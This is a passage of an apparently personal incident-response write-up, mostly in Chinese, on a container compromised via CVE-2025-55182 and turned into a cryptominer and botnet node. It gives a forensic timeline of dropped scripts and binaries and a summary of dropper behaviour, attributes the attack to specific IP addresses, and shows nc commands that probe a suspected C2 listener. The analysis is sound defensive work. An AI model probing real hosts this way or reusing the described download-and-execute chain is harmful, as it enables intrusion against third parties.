1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-06 12:37:40.000000000 +0000 Modify: 2025-12-06 12:37:40.000000000 +0000 Change: 2025-12-20 14:22:52.257404967 +0000 /bin/sh: file: not found ===== /app/web/am64 ===== File: /app/web/am64 Size: 9560248 Blocks: 18680 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772621 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-06 12:37:56.000000000 +0000 Modify: 2025-12-06 12:37:56.000000000 +0000 Change: 2025-12-20 14:22:52.222396259 +0000 /bin/sh: file: not found
/bin/sh: file: not found意味着没有文件被劫持 直接根据挖矿程序组件来分析
1 stat /app/web/e386 /app/web/am64 /app/web/sex.sh
总结 阶段 1:首次入侵与持久化部署 首次入侵 时间:2025-12-05 12:37:40 UTC之前
关键证据文件
/app/web/am64
/app/web/e386
/app/web/sex.sh
行为分析
上述文件的 mtime 最早为 2025-12-05
结合CVE-2025-55182披露时间为2025/12/05可推断是12/05拿下该容器并写入sex.sh但是隔天才执行,推测是工具化批量打,然后第二天收割成果
持久化组件部署 时间:2025-12-08 10:04:40 UTC
关键证据文件
/tmp/alive.service
/tmp/lived.service
/tmp/runnv/alive.sh
/tmp/runnv/lived.sh
/tmp/runnv/runnv(ELF x86_64)
行为分析
上述文件的 mtime 均为 2025-12-08
形成完整的“守护 + 监控 + 进程清洗”体系
alive.sh 用于高 CPU 进程清理
lived.sh 用于监控自身进程并尝试通过 /proc bind mount 进行对抗
结论 : 部署了用于长期驻留的恶意组件。
阶段 2:多架构恶意程序投放 时间:2025-12-10 20:31:32 ~ 20:31:40 UTC
关键证据文件
/tmp/boons.sh
/tmp/x88(x86_64)
/tmp/4311(x86 32-bit)
/tmp/arm.ts、/tmp/arm5.ts、/tmp/arm6.ts(ARM)
/tmp/mips.ts、/tmp/mpsl.ts(MIPS)
行为分析 boons.sh 脚本内容显示:
同时使用 wget 与 curl 下载 payload
对下载文件统一执行 chmod 777
立即执行多架构 ELF 文件
结论 : 该阶段为典型的自动化 Botnet / 挖矿程序投放行为,目标覆盖多 CPU 架构,具有通用性。
阶段 3:冗余下载器与补充投放 时间:2025-12-11 01:57 ~ 03:06 UTC
关键证据文件
/tmp/zzh.sh
/tmp/gates.lod
行为分析
zzh.sh 提供另一套下载与执行逻辑
下载后即执行并删除,减少落盘痕迹
用于提高在不同环境下的投放成功率结论 : 攻击者采用多条投放链路,提高恶意程序存活概率。
阶段 4:持续活动与配置更新 时间:2025-12-19 03:54:03 UTC
关键证据文件
行为分析
文件类型既非脚本亦非标准 ELF
内容结构疑似网络配置或任务参数
mtime 显示攻击在该时间点仍处于活跃状态结论 : 攻击并非一次性行为,而是持续运行并可能接收或更新配置。
攻击时间线总结
恶意ip 批量投放脚本的IP为
通报的受控ip为
可以断定是193.35.154.205通过47.243.105.82的代理发起攻击47.243.105.82的使用记录应是2025-09-26之前 该c段有36个ip是恶意的,推测是阿里云的动态ip服务 根据该ip历史解析域名找到一个博客,但是已经更换解析了,攻击者应不是博客使用者 该恶意ip最新解析的域名为ddosddosddos.facai2025.org,查看whois信息无线索 根据其余子域名找到另一台主机
8.163.25.135是中国 安徽省 安庆市 阿里云的ip 根据威胁情报显示曾被标记为CobaltStrike木马fscan扫了一下 然后验证了下这些大部分都是监听器的端口,典型的Botnet Loader + C2 架构 通过
1 printf "\x00\x00\x00\x00" | nc -v 47.243.105.82 2375
1 printf "\x7fELF" | nc -v 47.243.105.82 2375
验证是个被动的自定义二进制协议监听端口 根据4311文件的分析,其中有以下节点
1 2 3 4 5 6 7 61.128.114.133 202.103.96.112 211.136.150.66 211.92.136.81 202.85.128.32 119.6.6.6 222.222.222.222
剩下没了,溯源不太会